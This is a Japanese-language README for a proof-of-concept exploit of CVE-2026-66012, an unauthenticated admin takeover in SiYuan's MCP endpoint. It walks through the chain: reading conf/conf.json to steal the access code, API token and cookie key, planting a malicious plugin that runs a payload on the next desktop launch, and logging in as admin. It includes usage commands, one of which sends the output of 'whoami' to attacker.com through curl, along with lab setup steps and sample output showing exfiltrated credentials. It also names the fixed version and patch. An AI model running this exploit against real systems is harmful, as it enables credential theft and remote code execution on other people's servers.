
CVE-2026-66012 に対する認証不要の管理者乗っ取りエクスプロイト。MCP の認可欠落を利用し、認証情報を外部へ漏えいさせてリモートコード実行を実現します。
CVE-2026-66012(CVSS 10.0 Critical)の概念実証(Proof of Concept)。SiYuan の MCP(Model Context Protocol)エンドポイントにおける認可欠落(missing-authorization)の脆弱性で、Publish サーバーが匿名モードで有効になっている場合、未認証の攻撃者が管理者権限を乗っ取り、リモートコード実行を達成できることを示します。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 Critical |
| CWE | CWE-862 — 認可の欠落 |
| 影響を受けるバージョン | SiYuan < v3.7.2 |
| 修正バージョン | v3.7.2(コミット df51c2bda696) |
| 報告者 | Nguyen Van Hiep(@hypnguyen1209)、MBBank |
以下の3つの欠陥が攻撃チェーンを構成します:
POST /mcp は model.CheckAuth のみで登録されており、CheckAdminRole や CheckReadonly はありません。有効な JWT(Reader スコープを含む)であれば、31 個すべての MCP ツールを呼び出せます。handler.go)は、呼び出し元のロールを確認せずにツールを呼び出します。Publish.Auth.Enable=false の場合にすべてのリクエストへ匿名の RoleReader JWT を注入し、認可欠落バグを未認証の脆弱性へと変換します。POST /mcp を介した MCP ハンドシェイク(資格情報なし)conf/conf.json の読み取り → accessAuthCode、api.token、cookieKey を抽出data/plugins/pwn/ に配置 → 次回のデスクトップ起動時に nodeIntegration:true 経由で RCEaccessAuthCode を使用してポート 6806 で 管理者ログインrequests ライブラリ(pip install requests)# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
許可されたテスト用のみ。 ローカルに脆弱なインスタンスをセットアップします:
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
SiYuan v3.7.2 以降にアップグレードしてください。修正(コミット df51c2bda696)では以下が適用されます:
/mcp ルートへの CheckAdminRole + CheckReadonly ミドルウェアconf/conf.json アクセスの明示的なブロックこの PoC は、許可されたセキュリティテストおよび教育目的のみを対象としています。所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法です。著者は、このコードの誤用について一切の責任を負いません。